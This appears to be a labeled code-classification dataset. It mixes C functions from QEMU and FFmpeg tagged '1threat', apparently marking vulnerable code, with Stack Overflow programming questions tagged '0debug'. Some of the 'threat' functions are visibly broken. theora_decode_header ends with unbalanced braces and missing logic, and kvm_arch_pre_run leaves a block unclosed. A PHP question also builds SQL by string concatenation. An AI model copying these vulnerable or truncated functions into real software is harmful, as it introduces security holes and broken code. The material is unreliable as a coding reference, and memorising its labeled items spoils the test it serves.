static int xhci_submit(XHCIState *xhci, XHCITransfer *xfer, XHCIEPContext *epctx) { uint64_t mfindex; DPRINTF("xhci_submit(slotid=%d,epid=%d)\n", xfer->slotid, xfer->epid); xfer->in_xfer = epctx->type>>2; switch(epctx->type) { case ET_INTR_OUT: case ET_INTR_IN: xfer->pkts = 0; xfer->iso_xfer = false; xfer->timed_xfer = true; mfindex = xhci_mfindex_get(xhci); xhci_calc_intr_kick(xhci, xfer, epctx, mfindex); xhci_check_intr_iso_kick(xhci, xfer, epctx, mfindex); if (xfer->running_retry) { return -1; } break; case ET_BULK_OUT: case ET_BULK_IN: xfer->pkts = 0; xfer->iso_xfer = false; xfer->timed_xfer = false; break; case ET_ISO_OUT: case ET_ISO_IN: xfer->pkts = 1; xfer->iso_xfer = true; xfer->timed_xfer = true; mfindex = xhci_mfindex_get(xhci); xhci_calc_iso_kick(xhci, xfer, epctx, mfindex); xhci_check_intr_iso_kick(xhci, xfer, epctx, mfindex); if (xfer->running_retry) { return -1; } break; default: trace_usb_xhci_unimplemented("endpoint type", epctx->type); return -1; } if (xhci_setup_packet(xfer) < 0) { return -1; } usb_handle_packet(xfer->packet.ep->dev, &xfer->packet); xhci_try_complete_packet(xfer); if (!xfer->running_async && !xfer->running_retry) { xhci_kick_epctx(xfer->epctx, xfer->streamid); } return 0; }
1threat
attr('selected', true); more than two times don't selected, the version of jQuery after 1.8 : attr('selected', true); more than two times don't selected, the version of jQuery after 1.8 [simple here - jsfiddle.net/fWLJ9/236/][1] [1]: http://jsfiddle.net/fWLJ9/236/ <!-- begin snippet: js hide: false console: true --> <!-- language: lang-js --> $(document).on("click",".edit", function(){ $("#editor").find("select").prop('selectedIndex',0); $("#editor").find("#whour option[value='"+this.id+"']").attr('selected', true); }); <!-- language: lang-html --> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js"></script> <div id="editor"> <select id="whour" name="duration[hr]"> <option value="0">——</option> <option value="1">1 h.</option><option value="2">2 h.</option><option value="3">3 h.</option><option value="4">4 h.</option><option value="5">5 h.</option><option value="6">6 h.</option><option value="7">7 h.</option><option value="8">8 h.</option><option value="9">9 h.</option><option value="10">10 h.</option> </select> </div> <button id="2" class="edit"> 2h </button> <button id="3" class="edit"> 3h </button> <button id="4" class="edit"> 4h </button> <button id="5" class="edit"> 5h </button> <!-- end snippet --> there is a decision?
0debug
static void pnv_chip_power8_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); PnvChipClass *k = PNV_CHIP_CLASS(klass); k->cpu_model = "POWER8"; k->chip_type = PNV_CHIP_POWER8; k->chip_cfam_id = 0x220ea04980000000ull; k->cores_mask = POWER8_CORE_MASK; k->core_pir = pnv_chip_core_pir_p8; dc->desc = "PowerNV Chip POWER8"; }
1threat
i am experiencing trouble with MYSQL Update and i don't know how to fix it. i'm new to MYSQL : here my codeblock: public function updateTable($obj, $column_names, $table_name, $bannerid) { $c = (array) $obj; $id = $bannerid; $keys = array_keys($c); $columns = ''; $values = ''; foreach($column_names as $desired_key){ // Check the obj received. If blank insert blank into the array. if(!in_array($desired_key, $keys)) { $$desired_key = ''; }else{ $$desired_key = $c[$desired_key]; } $columns = $columns.$desired_key.','; $values = $values."'".$$desired_key."',"; } //$query = "INSERT INTO ".$table_name."(".trim($columns,',').") VALUES(".trim($values,',').")"; //mysql_query("UPDATE blogEntry SET content = '$udcontent', title = '$udtitle' WHERE id = $id"); $query = "UPDATE ".$table_name." SET "."(".trim($columns,',').") = VALUES(".trim($values,',').")" ."WHERE id = '$id'" ; $r = $this->conn->query($query) or die($this->conn->error.__LINE__); if ($r) { $new_row_id_update = $this->conn->insert_id; return $new_row_id_update; } else { return NULL; } } here is the error i got: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(image_url,intro) = VALUES('800bf5f59a1d13c8.jpg',',sd,cfcjaklewfh ewiuofejkfdh ' at line 1100
0debug
def mul_list(nums1,nums2): result = map(lambda x, y: x * y, nums1, nums2) return list(result)
0debug
Converting an array of integers into an array of binary code in Python : <p>I'm new in Python and need to convert an array of integers into one in binary code.</p> <pre><code>s_str = "test" s_acii = [ord(c) for c in s_str] print(s_acii) &gt;&gt; [116, 101, 115, 116] </code></pre> <p>What I need:</p> <pre><code>&gt;&gt; [1110100, 1100101, 1110011, 1110100] </code></pre> <p>Thanks!</p>
0debug
How do I start learning play framework with scala from scratch? : <p>I want to learn scala and I want to build a web application using play framework. How set up the environment in mac and how to start?</p>
0debug
Encode string for URL (angular) : <p>I'm trying to encode a string that's pretty complex, so that I can include it in a mailto:</p> <p>Component:</p> <pre><code>&lt;a href="mailto:test@example.com?subject='Hello'&amp;{{body}}"&gt; </code></pre> <p>TS: </p> <pre><code>import { HttpParameterCodec } from "@angular/common/http"; let body = encodeValue('This is the example body\nIt has line breaks and bullets\n\u2022bullet one\n\u2022bullet two\n\u2022bullet three') </code></pre> <p>When I try to use encodeValue, I get "cannot find name encodeValue.</p> <p>How would be best to url-encode body?</p>
0debug
Difference between two time.Time objects : <p>Very new to the 'Go'. Question might be basic one.</p> <p>I have two time.Time objects and I want to get the difference between the two in terms of hours/minutes/seconds. Lets say:</p> <pre><code>t1 = 2016-09-09 19:09:16 +0530 IST t2 = 2016-09-09 19:09:16 +0530 IST </code></pre> <p>In above case, since the difference is 0. It should give me 00:00:00. Consider another case:</p> <pre><code>t1 = 2016-09-14 14:12:48 +0530 IST t2 = 2016-09-14 14:18:29 +0530 IST </code></pre> <p>In this case, difference would be 00:05:41. I looked at the <a href="https://godoc.org/time" rel="noreferrer">https://godoc.org/time</a> but could not make anything out of it.</p>
0debug
void memory_region_init_alias(MemoryRegion *mr, Object *owner, const char *name, MemoryRegion *orig, hwaddr offset, uint64_t size) { memory_region_init(mr, owner, name, size); memory_region_ref(orig); mr->destructor = memory_region_destructor_alias; mr->alias = orig; mr->alias_offset = offset; }
1threat
How do i take in non-space separated imputs C++ : I want to count the number of '#' in a grid. This works if the imput is space separated but it doesn't if its not. How do i make the first one work? 3 3 3 3 .## . # # #.# # . # ### # # # //^Fails ^Works using namespace std; int main(){ int h,w,i,o,total=0; string current; cin >> h >> w; for(i=0;i<h;i++){ for(o=0;o<w;o++){ cin >> current; if(current=="#"){ total+=1; } } } cout << total; }
0debug
IF STATEMENT CONTAINS SELECT STATMENT : HELP ME TO SOLVE THIS ERROR create or replace FUNCTION GET_FUNCTION(STATUS_ID IN VARCHAR2) RETURN VARCHAR2 IS STATUS_NAME VARCHAR2(255); BEGIN IF NVL(STATUS_ID) THEN STATUS_NAME:=''; ELSIF STATUS_ID LIKE '0' THEN STATUS_NAME:='UNASSIGNED' ELSE SELECT TABLE_A.NAME INTO STATUS_NAME FROM TABLE_A where TABLE_A.ID=STATUS_ID; END IF; RETURN(STATUS_NAME); end; I AM GETTING ERROR Error(9,4): PLS-00103: Encountered the symbol "ELSE" when expecting one of the following: * & = - + ; < / > at in is mod remainder not rem <an exponent (**)> <> or != or ~= >= <= <> and or like like2 like4 likec between || multiset member submultiset The symbol ";" was substituted for "ELSE" to continue. I KNOW I AM MAKING SOME SYNTAX ERROR!!CORRECT ME!
0debug
MediaRecorder.stop() doesn't clear the recording icon in the tab : <p>I start and stop a MediaRecorder stream. The red "recording" icon appears in the Chrome tab on start, but doesn't go away on stop.</p> <p>The icon looks like this:</p> <p><a href="https://i.stack.imgur.com/a0kZn.png" rel="noreferrer"><img src="https://i.stack.imgur.com/a0kZn.png" alt="enter image description here"></a></p> <p>My code looks like this:</p> <pre><code>const mediaRecorder = new MediaRecorder(stream); ... // Recording icon in the tab becomes visible. mediaRecorder.start(); ... // Recording icon is still visible. mediaRecorder.stop(); </code></pre> <p>I also have a <code>mediaRecorder.onstop</code> handler defined. It doesn't return anything or interfere with the event object.</p> <p>What's the proper way to clear the "recording" indicator for a tab after starting and stopping a MediaRecorder instance?</p>
0debug
hello, how are you All doing? C#, windowsform, checkbox, button clicks : My question is regarding c# windows form. so i have three checkboxes in a form, checkbox1, checkbox2, checkbox3, and a button, now button programming is this private void checkBox1_CheckedChanged(object sender, EventArgs e) { } private void checkBox2_CheckedChanged(object sender, EventArgs e) { } private void checkBox3_CheckedChanged(object sender, EventArgs e) { } private void button6_Click(object sender, EventArgs e) { if (checkBox1.Checked) { } else if (checkBox2.Checked) { } else if (checkBox3.Checked) { } else if (checkBox1.Checked && checkBox2.Checked) { } else if (checkBox1.Checked && checkBox3.Checked) { } else if (checkBox2.Checked && checkBox3.Checked) { } else if (checkBox1.Checked && checkBox2.Checked && checkBox3.Checked) { } else { MessageBox.Show("Please Select an Checkbox to Perform"); } MessageBox.Show("All Done!"); } My problem is that when if i check all three checkboxes it goes through the whole if statements within the button, it processes all functions within the button, i want that when i check all checkboxes its should perfon only this statement, and other as checked. //If(checkbox1.checked && Checkbox2.checked && checkbox3.Checked) {} and so on
0debug
Inner join with update sql statement giving error : I am making a sql statement which is giving an error for innerjoin with update Following is the query: UPDATE trackedentitydatavalue tedv INNER JOIN dataelement de ON tedv.dataelementid=de.dataelementid SET tedv.value=tedv.value+'_123' where de.valuetype='TEXT' and de.optionsetid is NOT NULL AND RIGHT(tedv.value,3)!='123' giving following error: ERROR: syntax error at or near "INNER" LINE 1: UPDATE trackedentitydatavalue tedv INNER JOIN dataelement de
0debug
int bdrv_flush_all(void) { BlockDriverState *bs; int result = 0; QTAILQ_FOREACH(bs, &bdrv_states, device_list) { int ret = bdrv_flush(bs); if (ret < 0 && !result) { result = ret; } } return result; }
1threat
static void virtio_pci_realize(PCIDevice *pci_dev, Error **errp) { VirtIOPCIProxy *proxy = VIRTIO_PCI(pci_dev); VirtioPCIClass *k = VIRTIO_PCI_GET_CLASS(pci_dev); proxy->legacy_io_bar = 0; proxy->msix_bar = 1; proxy->modern_io_bar = 2; proxy->modern_mem_bar = 4; proxy->common.offset = 0x0; proxy->common.size = 0x1000; proxy->common.type = VIRTIO_PCI_CAP_COMMON_CFG; proxy->isr.offset = 0x1000; proxy->isr.size = 0x1000; proxy->isr.type = VIRTIO_PCI_CAP_ISR_CFG; proxy->device.offset = 0x2000; proxy->device.size = 0x1000; proxy->device.type = VIRTIO_PCI_CAP_DEVICE_CFG; proxy->notify.offset = 0x3000; proxy->notify.size = QEMU_VIRTIO_PCI_QUEUE_MEM_MULT * VIRTIO_QUEUE_MAX; proxy->notify.type = VIRTIO_PCI_CAP_NOTIFY_CFG; proxy->notify_pio.offset = 0x0; proxy->notify_pio.size = 0x4; proxy->notify_pio.type = VIRTIO_PCI_CAP_NOTIFY_CFG; memory_region_init(&proxy->modern_bar, OBJECT(proxy), "virtio-pci", 2 * QEMU_VIRTIO_PCI_QUEUE_MEM_MULT * VIRTIO_QUEUE_MAX); memory_region_init_alias(&proxy->modern_cfg, OBJECT(proxy), "virtio-pci-cfg", &proxy->modern_bar, 0, memory_region_size(&proxy->modern_bar)); address_space_init(&proxy->modern_as, &proxy->modern_cfg, "virtio-pci-cfg-as"); if (!(proxy->flags & VIRTIO_PCI_FLAG_DISABLE_PCIE) && !(proxy->flags & VIRTIO_PCI_FLAG_DISABLE_MODERN) && pci_bus_is_express(pci_dev->bus) && !pci_bus_is_root(pci_dev->bus)) { int pos; pci_dev->cap_present |= QEMU_PCI_CAP_EXPRESS; pos = pcie_endpoint_cap_init(pci_dev, 0); assert(pos > 0); pos = pci_add_capability(pci_dev, PCI_CAP_ID_PM, 0, PCI_PM_SIZEOF); assert(pos > 0); pci_set_word(pci_dev->config + pos + PCI_PM_PMC, 0x3); } virtio_pci_bus_new(&proxy->bus, sizeof(proxy->bus), proxy); if (k->realize) { k->realize(proxy, errp); } }
1threat
int kvm_arch_pre_run(CPUState *env, struct kvm_run *run) { int r; unsigned irq; if (run->ready_for_interrupt_injection && (env->interrupt_request & CPU_INTERRUPT_HARD) && (env->irq_input_state & (1<<PPC_INPUT_INT))) { irq = -1U; dprintf("injected interrupt %d\n", irq); r = kvm_vcpu_ioctl(env, KVM_INTERRUPT, &irq); if (r < 0) printf("cpu %d fail inject %x\n", env->cpu_index, irq); return 0;
1threat
static always_inline void gen_op_subfco_64 (void) { gen_op_move_T2_T0(); gen_op_subf(); gen_op_check_subfc_64(); gen_op_check_subfo_64(); }
1threat
How to implement bit error based on percentage in C? : <p>I'm stuck at trying to simulate an Binary Symmetric Channel in C.</p> <p>It should work like this: the user enters a number (for example 0.01 = 1%) which represents error rate. So, for instance, if i read 1001 from file every bit has a chance to change its value to 0/1 respectively depending on the entered percent.</p> <p>Reading from file and writing into another is already working, but I just don't know how to make these percentage-based errors happen.</p> <p>Any help is much appreciated, thanks in advance.</p>
0debug
Homebrew, MySQL 8 support : <p>Anyone have the inside scoop on when Homebrew will be updated to support MySQL 8's first general release (8.0.11)? I can't seem to find it by searching, but I bet someone here knows :)</p>
0debug
Anagrams in swift with wildcard (or joker) : Based on this function in swift func anagrams(word: String, from words: [String]) -> [String] { let anagrammedWord = word as NSString let length = anagrammedWord.length var aDic = [unichar:Int]() for i in 0..<length { let c = anagrammedWord.character(at: i) aDic[c] = (aDic[c] ?? 0) + 1 } let foundWords = words.filter { let string = $0 as NSString guard length == string.length else { return false } var bDic = [unichar:Int]() for i in 0..<length { let c = string.character(at: i) let count = (bDic[c] ?? 0) + 1 if count > aDic[c] ?? 0 { return false } bDic[c] = count } return true } return foundWords } I'm trying to get this working with wildcard, but it doesn't. how can i check with ? or _ Thanks
0debug
Is there a one-liner to unpack tuple/pair into references? : <p>I frequently write snippets like</p> <pre><code>int x,y,z; tie(x,y,z) = g[19]; </code></pre> <p>where, for instance, <code>g</code> was declared earlier</p> <pre><code>vector&lt;tuple&lt;int,int,int&gt;&gt; g(100); </code></pre> <p>Problem is, maybe later I actually want <code>x</code> and <code>y</code> to point to the internals of <code>g</code> by reference, and the refactoring is ugly, e.g.</p> <pre><code>int &amp;x = get&lt;0&gt;(g[19]); int &amp;y = get&lt;1&gt;(g[19]); int &amp;z = get&lt;2&gt;(g[19]); </code></pre> <p>or sometimes even worse, for instance if the access is a more complex expression</p> <pre><code>tuple&lt;int,int,int&gt; &amp;p = g[19]; // if the rhs was actually more complicated int &amp;x = get&lt;0&gt;(p); int &amp;y = get&lt;1&gt;(p); int &amp;z = get&lt;2&gt;(p); </code></pre> <p>Is there a better refactoring, more in the style of the assignment to tie(..)? </p> <p>The difficulty as I understand it is that references insist on being initialized <a href="http://en.cppreference.com/w/cpp/language/reference_initialization">exactly at their declaration</a>. So, in possibly other words, is there a way to use <code>tie</code>-like syntax for multiple variable <em>initialization</em> in c++ (this would also make the earlier non reference usage cleaner)?</p>
0debug
static void sdl_mouse_warp(int x, int y, int on) { if (on) { if (!guest_cursor) sdl_show_cursor(); if (gui_grab || kbd_mouse_is_absolute() || absolute_enabled) { SDL_SetCursor(guest_sprite); SDL_WarpMouse(x, y); } } else if (gui_grab) sdl_hide_cursor(); guest_cursor = on; guest_x = x, guest_y = y; }
1threat
how to receive strings from user to recieve empty string and print them in c : **** how to receive strings from user to the empty string in c recieve the string and put in to array and then print it. .[enter image description here][1] [1]: https://i.stack.imgur.com/nvpYY.png
0debug
GuestFileWrite *qmp_guest_file_write(int64_t handle, const char *buf_b64, bool has_count, int64_t count, Error **errp) { GuestFileWrite *write_data = NULL; guchar *buf; gsize buf_len; int write_count; GuestFileHandle *gfh = guest_file_handle_find(handle, errp); FILE *fh; if (!gfh) { return NULL; } fh = gfh->fh; buf = g_base64_decode(buf_b64, &buf_len); if (!has_count) { count = buf_len; } else if (count < 0 || count > buf_len) { error_setg(errp, "value '%" PRId64 "' is invalid for argument count", count); g_free(buf); return NULL; } write_count = fwrite(buf, 1, count, fh); if (ferror(fh)) { error_setg_errno(errp, errno, "failed to write to file"); slog("guest-file-write failed, handle: %" PRId64, handle); } else { write_data = g_malloc0(sizeof(GuestFileWrite)); write_data->count = write_count; write_data->eof = feof(fh); } g_free(buf); clearerr(fh); return write_data; }
1threat
Indoor positioning android app using wifi signals : <p>Am new to android ,i want to create an android app to track indoor position using ips(wifi signals) I need to know what are Prerequisites required for and the basic idea to develop it</p>
0debug
static int check(AVIOContext *pb, int64_t pos) { int64_t ret = avio_seek(pb, pos, SEEK_SET); unsigned header; MPADecodeHeader sd; if (ret < 0) return ret; header = avio_rb32(pb); if (ff_mpa_check_header(header) < 0) return -1; if (avpriv_mpegaudio_decode_header(&sd, header) == 1) return -1; return sd.frame_size; }
1threat
why is my textbox not populating? : I have removed all other code trying to find my error. The code below will echo the passed value/variable in the php portion of the code only in line 2 which verifies that the variable is being passed. The textbox in the html portion renmains blank and does not populate. Probably something simple that I am missing, but going crazy trying to find the error. Please tell me what I have done wrong? <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> <?php echo $new_customer . $_POST[search]; ?> <!doctype html> <html lang="en"> <body> <input type="text" name="customer_name" value="<?php echo $new_customer; ?>" id="customer_name"> </body> </html> <!-- end snippet -->
0debug
How can I store a whole word in to a single array slot? : <p>I wanted to ask how can I store a whole word in to a single array slot?</p> <p>What I want to do is to somehow make this or something similar to this work so that i could access a whole word just in one slot of an array:</p> <pre><code>string words; words[0] = "First"; words[1] = "Second"; </code></pre>
0debug
static int theora_decode_header(AVCodecContext *avctx, GetBitContext gb) { Vp3DecodeContext *s = avctx->priv_data; int major, minor, micro; major = get_bits(&gb, 8); minor = get_bits(&gb, 8); micro = get_bits(&gb, 8); av_log(avctx, AV_LOG_INFO, "Theora bitstream version %d.%d.%d\n", major, minor, micro); s->theora = (major << 16) | (minor << 8) | micro; if (s->theora < 0x030300) { s->flipped_image = 1; av_log(avctx, AV_LOG_DEBUG, "Old (<alpha3) Theora bitstream, flipped image\n"); s->width = get_bits(&gb, 16) << 4; s->height = get_bits(&gb, 16) << 4; skip_bits(&gb, 24); skip_bits(&gb, 24); skip_bits(&gb, 8); skip_bits(&gb, 8); skip_bits(&gb, 32); skip_bits(&gb, 32); skip_bits(&gb, 24); skip_bits(&gb, 24); if (s->theora < 0x030300) skip_bits(&gb, 5); skip_bits(&gb, 8); skip_bits(&gb, 24); skip_bits(&gb, 6); if (s->theora >= 0x030300) { skip_bits(&gb, 5); skip_bits(&gb, 5); avctx->width = s->width; avctx->height = s->height; vp3_decode_init(avctx); return 0;
1threat
Python data parsing question on | delimited data : I used subprocess.Popen on a program and obtained following output (Class'byte') b'CPU0_V1.8_AUX | 1.82 Volts | ok\r\nCPU1_V1.8_AUX | 1.82 Volts | ok\r\nSYS_V12_AUX | 12.20 Volts | ok\r\nSYS_V5_AUX | 5.03 Volts | ok\r\n' My goal is to be able to search a particular string, for example CPU0_V1.8_AUX and obtain 1.82. what's best way of doing it ? Any feedback is greatly appreciated. Regards ffl3883
0debug